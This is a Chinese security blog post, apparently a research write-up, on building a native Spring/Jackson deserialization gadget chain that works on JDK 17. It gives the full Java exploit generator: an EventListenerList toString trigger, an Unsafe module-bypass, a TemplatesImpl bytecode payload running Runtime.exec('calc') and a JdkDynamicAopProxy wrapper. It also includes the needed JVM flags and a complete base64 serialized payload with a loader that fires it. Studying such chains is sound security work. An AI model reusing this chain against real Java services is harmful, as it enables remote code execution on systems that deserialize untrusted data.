高版本JDK_Spring原生反序列化链

上班之后更新博客的速度慢了起来,没有多少写博客的动力了,有点摆过头了,最近在p牛的代码审计星球看到有师傅发了篇高版本JDK下的Spring原生链,让TemplatesImpl在高版本也可以进行利用了。这几天活稍微少点正好抽空研究下。

这一期从环境搭建到漏洞原理全给你整明白咯

环境搭建

起一个JDK17maven环境

High_JDK_Spring_01.png

pom.xml中加入spring依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.study</groupId>
<artifactId>High_JDK_Spring</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>3.5.4</version>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
</dependencies>
</project>

漏洞分析

EventListenerList#readObject

在低版本jdk下我们可以利用spring自带的jackson反序列化链,因为在jacksonPOJONode#toString方法可以调用getter方法,所以可以利用getter调用getOutputProperties来实现RCE,然后再找个地方去触发POJONode#toString,然后利用的是BadAttributeValueExpException#readObject,这个类是javax自带的原生类,在低版本下会在readObject的时候触发toString

High_JDK_Spring_02.png

而在JDK17BadAttributeValueExpException就利用不了了,没有触发toString的点了。

High_JDK_Spring_03.png

那么这个时候我们就需要一个新的入口:EventListenerList#readObject,可以看一下这位师傅的博客EventListenerList触发任意toString,利用字符串与对象的拼接来触发toString

1
2
3
4
5
6
7
8
9
10
11
public static EventListenerList getEventListenerList(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager undoManager = new UndoManager();

// 取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要出发toString类add进去
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(obj);

setFieldValue(list, "listenerList", new Object[]{Class.class, undoManager});
return list;
}

JDK9开始,Java中引入了JPMS(Java Platform Module System, 模块系统),也就是Project Jigsaw。在JDK17里,这一机制更是被完全强化:

  • 背部API封装:之前我们可以随意import com.sum.*或者sun.*的内部类,但在JDK17,这些类已经被模块系统封装 默认不可访问
  • 强封装机制:模块之间的可见性由module-info.java描述,如果某个宝没有被exports,外部模块就无法直接访问
  • 反射限制在JDK8及之前我们常常通过setAccessible(true)绕过private限制,反射访问类的私有字段或构造函数。但在JDK17里,即使用setAccessible(true),也会被InaccessibleObjectException拦住,除非在JVM启东市手动加--add-opens参数开放模块或者使用Java Agent/Instrumentation来取消这一限制

所以我们无法直接利用getOutputProperties,那么现在最关键的问题就是如何在JDK17中利用getOutputProperties

Unsafe

那么我们就可以利用Unsafe篡改Module机制,从而绕过JDK17的强封装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
private static Method getMethod(Class clazz, String methodName, Class[] params) {
Method method = null;
while (clazz != null) {
try {
method = clazz.getDeclaredMethod(methodName, params);
break;
}catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe(){
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes) {
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
if (getModuleMethod != null) {
for (Class clazz : classes) {
Object targetModule = getModuleMethod.invoke(clazz, new Object[]{});
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e) {
e.printStackTrace();
}
}

在这里需要注意一个很重要的点,在以往我们利用TemplateImpl的时候,被利用的目标都需要继承AbstractTranslet,但这在高版本下肯定是不行的,因为必然涉及到模块化的检测报错

去除AbstractTranslet限制

大家可以看下 这位师傅写的博客TemplatesImpl 分析),然后我们就可以构造出如下的构造方法:

1
2
3
4
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates, "_transletIndex", 0);

jackson中的getter稳定触发问题

在去年奇安信的一篇JDBC Attack与高版本JDK下的JNDI Bypass)中有提到过JdkDynamicAopProxy可以用于解决jackson中的getter稳定触发问题。

1
2
3
4
5
6
7
8
9
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getPlatformClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}

JdkDynamicAopProxy除了用于解决这个问题外,还用于给TemplateImpl创建一个新的类

但是加了aop类代理后是javax.xml.transform.Templates,在javax.xml包下从而绕过了包管理机制

完整的Gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Vector;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import sun.misc.Unsafe;

// --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
public class HighJDKSpringRCE {
public static void main(String[] args) throws Exception {
// 删除writeReplace保证正常反序列化
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}

// 把模块强行修改,切换成和目标类一样的Module对象
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(HighJDKSpringRCE.class);
classes.add(Field.class);
classes.add(Method.class);

new HighJDKSpringRCE().bypassModule(classes);

// ========== EXP 构造 ===========
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates, "_transletIndex", 0);

POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));

EventListenerList eventListenerList = getEventListenerList(node);
System.out.println(serialize(eventListenerList, true));
}

public static byte[] serialize(Object obj, boolean flag) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (flag) {
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
return baos.toByteArray();
}

public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getPlatformClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}

public static EventListenerList getEventListenerList(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager undoManager = new UndoManager();

// 取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要出发toString类add进去
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(obj);

setFieldValue(list, "listenerList", new Object[]{Class.class, undoManager});
return list;
}

private static Unsafe getUnsafe(){
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}

public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}

private static Method getMethod(Class clazz, String methodName, Class[] params) {
Method method = null;
while (clazz != null) {
try {
method = clazz.getDeclaredMethod(methodName, params);
break;
}catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
return method;
}

public void bypassModule(ArrayList<Class> classes) {
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
if (getModuleMethod != null) {
for (Class clazz : classes) {
Object targetModule = getModuleMethod.invoke(clazz, new Object[]{});
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e) {
e.printStackTrace();
}
}

public static Object getFieldValue(Object object, String fieldName) throws Exception {
Field field = null;
Class c = object.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(object);
}

public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field dField = object.getClass().getDeclaredField(fieldName);
dField.setAccessible(true);
dField.set(object, value);
}
}

生成payload的时候记得加个vm的配置

1
--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED --add-opens jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED

High_JDK_Spring_04.png

添加运行选项这里把添加虚拟机选项勾上,然后把配置加上就好了

High_JDK_Spring_05.png

然后就是读取数据进行反序列化,这里就不需要加上虚拟机配置了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Read {
public static void unserialize(byte[] exp) throws Exception {
ByteArrayInputStream bais = new ByteArrayInputStream(exp);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}

public static void main(String[] args) throws Exception {
String exp = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0AA9qYXZhLmxhbmcuQ2xhc3NzcgAcamF2YXguc3dpbmcudW5kby5VbmRvTWFuYWdlcvF+nx0IKsIdAgACSQAOaW5kZXhPZk5leHRBZGRJAAVsaW1pdHhyAB1qYXZheC5zd2luZy51bmRvLkNvbXBvdW5kRWRpdKWeULpT25X9AgACWgAKaW5Qcm9ncmVzc0wABWVkaXRzdAASTGphdmEvdXRpbC9WZWN0b3I7eHIAJWphdmF4LnN3aW5nLnVuZG8uQWJzdHJhY3RVbmRvYWJsZUVkaXQIDRuO7QILEAIAAloABWFsaXZlWgALaGFzQmVlbkRvbmV4cAEBAXNyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAABkc3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWV0ABJMamF2YS9sYW5nL09iamVjdDt4cgAtY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuVmFsdWVOb2RlAAAAAAAAAAECAAB4cgAwY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuQmFzZUpzb25Ob2RlAAAAAAAAAAECAAB4cHN9AAAAAQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkpka0R5bmFtaWNBb3BQcm94eUzEtHEO65b8AgABTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7eHBzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAZaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAKYWR2aXNvcktleXQAEExqYXZhL3V0aWwvTGlzdDtMAAhhZHZpc29yc3EAfgAbTAAKaW50ZXJmYWNlc3EAfgAbTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeQPJ50kFqahMAgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AInNxAH4AIQAAAAB3BAAAAAB4c3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5TaW5nbGV0b25UYXJnZXRTb3VyY2V9VW71x/j6ugIAAUwABnRhcmdldHEAfgAOeHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAAAAAAAHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAFeyv66vgAAADcAGQEACk15VGVtcGxhdGUHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAD015VGVtcGxhdGUuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAARjYWxjCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAAY8aW5pdD4MABYACAoABAAXACEAAgAEAAAAAAACAAgABwAIAAEACQAAABYAAgAAAAAACrgADxIRtgAVV7EAAAAAAAEAFgAIAAEACQAAABEAAQABAAAABSq3ABixAAAAAAABAAUAAAACAAZ1cQB+AC4AAACiyv66vgAAADcADAEACWZ1c2h1bGluZwcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAOZnVzaHVsaW5nLmphdmEBAAY8aW5pdD4BAAMoKVYMAAcACAoABAAJAQAEQ29kZQAhAAIABAAAAAAAAQABAAcACAABAAsAAAARAAEAAQAAAAUqtwAKsQAAAAAAAQAFAAAAAgAGcHQAA3h4eHB3AQB4cHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBweAAAAAAAAABkcHg=";
unserialize(Base64.getDecoder().decode(exp));
}
}

High_JDK_Spring_06.png

OK!结束